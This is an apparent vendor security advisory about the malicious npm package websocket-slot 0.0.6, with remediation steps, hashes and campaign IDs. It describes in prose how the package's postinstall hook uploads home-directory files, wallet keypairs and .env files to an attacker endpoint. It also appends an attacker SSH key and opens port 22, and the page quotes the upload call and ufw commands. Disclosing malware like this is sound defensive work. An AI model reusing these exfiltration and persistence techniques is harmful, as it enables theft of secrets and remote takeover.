Which versions of websocket-slot are malicious?

The following npm versions of websocket-slot are flagged malicious: 0.0.6. Treat any of these as compromised.

How do I remediate websocket-slot if I installed it?

websocket-slot is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed websocket-slot — how do I know if it already compromised me?

If websocket-slot was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is websocket-slot part of a known attack campaign?

Yes — websocket-slot is associated with the IN-MAL-2026-005292, IN-MAL-2026-005293, GHSA-27vg-w6vw-2rq8 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find websocket-slot across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for websocket-slot (version 0.0.6). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging websocket-slot across your stack and pipelines.

Malicious package

websocket-slotnpm

Malicious code in websocket-slot (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5530

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall websocket-slot

What this malware does

On npm install, this package runs node test.js via scripts.postinstall, which executes the logic in index.js. The postinstall behavior performs three distinct installer-side attacks: (1) it recursively walks the installer's home directory (and on Windows, non-C: drives plus C:\Users), matching files against a remotely-fetched pattern list, then POSTs each matched file plus username/platform metadata to http://cloudflare-prevention.vercel.app/api/v1 via FormData (batchUpload(found, "http://cloudflare-prevention.vercel.app/api/v1", success)); (2) on Linux, addSshKeyToUser fetches an attacker-supplied SSH public key from http://cloudflare-prevention.vercel.app/api/ssh-key and appends it to ~/.ssh/authorized_keys with mode 0600, then runs sudo ufw enable and sudo ufw allow 22/tcp to ensure inbound SSH is reachable — giving the operator persistent remote root-equivalent access to the host; (3) from_str_1 recursively scans process.cwd() for id.json (Solana wallet keypair), config.toml/Config.toml, env, and .env, uploading each match to a sibling endpoint. Scan patterns, block patterns, and the SSH key are all fetched over plain HTTP from cloudflare-prevention.vercel.app — a Vercel-hosted lookalike of a Cloudflare-branded service — meaning the operator can mutate which files are exfiltrated and which key is granted SSH access at any time.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

0.0.6

Indicators of compromise (SHA-256)

c15c40b8371646f167ffa7d5a2ba2c8d0fd454ef7054eeb41807a1a3eda8e7a6

dff2c6c0da62db10517f42af8f1e926122d31e7500e7bccbe2f41fb1fe905eb0

4e0f6d8b0cf401a707b6dfec19e238c001ea685edfcbb94d388c80983826ab78

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for websocket-slot (version 0.0.6). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging websocket-slot across your stack and pipelines.
If you installed it — respond
websocket-slot is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If websocket-slot was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks websocket-slot before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. websocket-slot on npm has been identified as a malicious package (version 0.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005292IN-MAL-2026-005293GHSA-27vg-w6vw-2rq8

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks websocket-slot-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database